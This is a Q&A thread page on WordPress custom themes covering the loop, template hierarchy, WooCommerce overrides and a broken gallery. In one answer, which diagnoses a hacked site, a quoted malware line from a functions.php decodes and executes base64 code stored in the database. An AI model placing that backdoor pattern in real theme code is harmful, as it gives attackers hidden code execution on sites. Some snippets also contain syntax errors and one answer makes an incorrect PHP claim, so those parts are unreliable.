Wordpress functions not working in custom theme - php

So I'm super new to Wordpress. I set up a Wordpress local server on MAMP yesterday and I'm trying to build my own theme currently. Trouble is, whenever I try to do the loop, I'm not getting any content. my code works if I just use php, but the problem is custom Wordpress functions aren't usable (i.e. have_posts())
A couple other posts have suggested requiring wp-blog-header, but that hasn't worked either. Here's my code:
<?php
define('WP_USE_THEMES', false);
require('../../../wp-blog-header.php');
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
?>
Nothing currently displays on my screen.
wp-blog-header.php is located here: wordpress -> wp-blog-header.php
My custom theme is located here: wordpress -> wp-content -> themes -> firstTheme -> index.php
All tips are appreciated.

Well, you're writing PHP and your code contains
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
I'm not sure how can this be valid in PHP. I'd expect
if(have_posts())
echo 'testing';
else
echo 'testing';
See also if and else syntax in PHP.

I found this issue as well in building a few wordpress sites. After installing a PhP plugin (Insert PhP) my problems were solved.
Once installed, was changed to [insert_php] and [/insert_php] and my code worked.

You need to use the proper WordPress functions to build your own custom theme.
For example, instead of require and then x-path deep (which is also not wanted from WP-Core perspective) you should put your file in your theme's root.
like :
`get_template_part('name-of-file-to-include-without-php-ending');`
Reason for this is the fact, that WordPress Codex proposes the use of child theme functions.
The get_template_part(''); function does some checks, e.g. if a child theme has been installed etc.
Question: Why do you define that constant?
All constants should reside inside wp-config (root folder).
Additionally, it is worth mentioning that you are not looping throught the posts. Your code, at this point in time of writing, only looks IF there are posts, and then does nothing. You need to add the while function as well in order to work through your posts and display them.
So, do (in your loop.php or at the place in your theme where you want to display them):
<?php if(have_posts() ) : ?>
// The while added
<?php while ( have_posts() ) : the_post(); ?>
// Your template tags here: e.g. the_author();
<h2><?php the_author(); ?></h2>
<h3>the_title();</h3>
etc...
<?php endwhile?>
<?php endif; ?>
One last thing: WordPress has some conventions, which files should reside in the theme folder. For example, every theme should have a functions.php where you put stuff like menu and widgets etc. inside.
The most popular tags to build a theme are:
get_header();
Sure, you need to have a header.php file in your theme. Again, WordPress will look for exactly these files to include, no other naming is allowed.
get_footer();
Make a guess, right - it will look for footer.php in your theme folder.
For more information please see the WordPress Codex > Template Parts, etc..
https://codex.wordpress.org/Theme_Development#Template_Files
I highly advice you to use the WordPress core functions for templates, ignoring them and do 'classic' php e.g. include/require will lead you the dark side and not be successful.
A good plugin in the see your which template parts you are using is "What the File". Grab a default theme, install that plugin and look in the admin bar what it says to get an idea of what WordPress is doing.
Here is an excerpt of my loop, in my theme which uses bootstrap.
<?php if(have_posts() ) : ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php if(is_front_page() || is_page() || is_single() ) : ?>
<div class="row row-content">
<div class="content col-xs-12 col-sm-12 col-md-12 col-lg-12">
<?php the_content(); ?>
</div>
</div>
<?php // category.php, archive.php, search.php ?>
<?php elseif(is_category() || is_archive() || is_search() ) : ?>
<div class="row row-excerpt">
<div class="thumbnail-box col-lg-4">
<a href="<?php the_permalink(); ?>" class="preview-image-link">
<?php
// Thumbnail und Post Auszug
if(has_post_thumbnail() ) {
the_post_thumbnail('thumbnail');
}
?>
</a>
</div>
<div class="text-details-box col-lg-8">
<div class="row row-excerpt-text">
<div class="excerpt col-lg-12">
<?php the_excerpt(); ?>
</div>
</div>
<div class="row row-tags row-read-more">
<div class="tags col-lg-8">
<?php the_tags('<ul class="tag-list">
</div>
<div class="read-more-boxcol-md-4 col-lg-4">
<a href="<?php the_permalink(); ?>" class="read-more-btn">
<span class="read-more-btn-text">></span>
</a>
</div>
</div>
</div>
</div>
<?php endwhile; ?>
<?php endif; ?>

Related

wordpress loop clarifications about contents

To learn more about the latest version of WordPress, I'm reading the documentation. I've some questions about the loop. As I can understand this is the basic function that will display contents inside WordPress pages. I want to understand if this function is responsible to display only the posts or also it will display pages. If this will display both, how I can customize the appearance of the post list to differentiate it from the site pages contents?
I want to make some pages for my website and one of these will only be responsible to display a list of posts, so it will be a blog and not really a page. I'm a bit confused about, every question or article I've read talk about the loop as necessary to display contents.
This means that with this basic code I will display all my page contents?
<div class="container">
<div class="row">
<div class="col-sm-12 col-md-6 col-lg-4">
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
</div>
<?php endwhile; else : ?>
<p><?php esc_html_e( 'Sorry, no posts matched your criteria.' ); ?></p>
<?php endif; ?>
</div>
</div>

Wordpress - template hierarchy for custom page not working

I'm building a Wordpress site using html5blank as a parent theme for the first time. I have my main pages set up and working using page-slug.php naming convention and all works fine. A couple of these pages require sub-pages but for some reason I cannot get these to work. Example -
On of my main pages is titled 'Agency' and within the agency page I have a number of images which act as links to a number (7) of sub-pages -
I've set the first image up with the correct link and page parent/child as so -
page-agency.php
<div class="row">
<div class="twelve columns agencyproducts">
<p>WHAT PRODUCT ARE YOU INTERESTED IN?</p>
<a href="http://localhost:8888/agency/2k4k-production/"><figure>
<img src="http://localhost:8888/wp-content/uploads/2017/07/production.png" alt="Production">
<figcaption>2K / 4K PRODUCTION</figcaption>
</figure></a>
I've saved the sub-page file as page-agency-2k4kproduction.php in the theme file like the other pages. When I click on the link I get the page.php file showing with my header and form templates but not the sub-page code. Here's what I have in the page.php -
page.php
<?php get_header(); ?>
<?php get_template_part('form'); ?>
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>
In my 2k4kproduction.php file I have this -
page-agency-2k4kproduction.php
<?php get_header(); ?>
<!-- custom code -->
<?php get_template_part('form'); ?>
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>
Am I missing some steps in the hierarchy process?
I can't figure out why the main pages all work seamlessly but the sub-pages don't. I'v tried other permitations - page-2k4kproduction.php, 2k4kproduction.php, page-8.php and they don't work either.
Do I have to save sub-page files in a different file to the main page file?
Does the page order in in the admin make a difference? FWIW I've placed the sub page as next in line to the last main page (8) rather than start a new number order for sub pages.
Really stumped on this one, I'm sure its something quite obvious but I just can't spot it.
WordPress template hierarchy works perfect with page-$slug.php i don't know what could be the reason may be 2k4kproduction slug issue.
it's better to use page-template instead page-slug workaround because if the slug change it won't show your page. go through this tutorial for custom page template.
template-2k4kproduction.php
<?php /* Template Name: 2k4k Production */ ?>
<?php get_header(); ?>
<!-- custom code -->
<?php get_template_part('form'); ?>
<!-- custom code -->
<?php the_content(); ?>
<?php get_sidebar(); ?>
<?php get_footer(); ?>

Woocommerce archive-product.php overwrite issues.

I'm trying to customize the archive-product page, and it works perfectly while I'm on my local server, but when I move it online, it's switches back to the default template. I'm trying to fix this for a week now, I've read all the other answers regarding this issue, but most of them are for an older version of woocommerce or the solution just doesn't work.
As a last refugee from madness, I've deleted all the archive-product.php file I can find, even the one in the woocommerce source folder, but nothing changed, I don't know where the site is getting the template from. The page have become self aware and I am going crazy because I have no idea what to do next.
Here is the difference between the page on local and online server
Please check if you have this in your functions.php, if not add:
add_theme_support( 'woocommerce' );
In theme root folder, add the file woocommerce.php and in that file set your own layout. For example:
<div class="wrapper">
<div class="sidebar">
// sidebar
</div>
<div class="inner">
<?php if ( have_posts() ) :
while(have_posts()) : the_post();
<?php woocommerce_content(); ?>
<?php
endwhile;
endif;?>
</div>
</div>
For more details: go through https://docs.woothemes.com/document/third-party-custom-theme-compatibility/

Default Wordpress [gallery] not showing up in custom theme

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.
Here is the loop for page:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)
You're site got hacked.
The last line of the pastebin is loading malicious code from your database:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
https://wordpress.org/plugins/nextgen-gallery/
do you see any javascript errors in console ?
and what is output of
<?php echo do_shortcode('[gallery]');?>

Not displaying any articles on a custom made file in Wordpress

I have created the file latest.php in the public_html so that when I go to www.domain.com/latest.php it will show me the latest articles. Sadly, nothing of the posts came up. Later, I will sort them with other ways (mostly based on custom fields).
This is my latest.php file (I removed any styling for better understanding)
<?php include("wp-load.php"); ?>
<?php get_header(); ?>
<?php wp_head(); ?>
**AND HERE IS WHAT I COPY-PASTED FROM MY INDEX.PHP THAT IS WORKING**
<?php while (have_posts()) : the_post(); ?>
<a title="" href="<?php echo get_permalink(); ?>" ><?php the_title(); ?></a>
<?php endwhile; // End the loop ?>
<?php posts_nav_link(' ยท ', 'previous page', 'next page'); ?>
My question is how can I make it possible to show the latest articles with pagination ? wp-load.php , wp_head and get_header are loaded correctly.
Should I use an entire different method for my task? If yes, which one?
wordpress does not works this way... if you want to make a custom page. create a new template page in the themes folder and then (from back end) create a new page and assign that template to that page.. this way you can put you custom code in the template file and wordpress can process it

Categories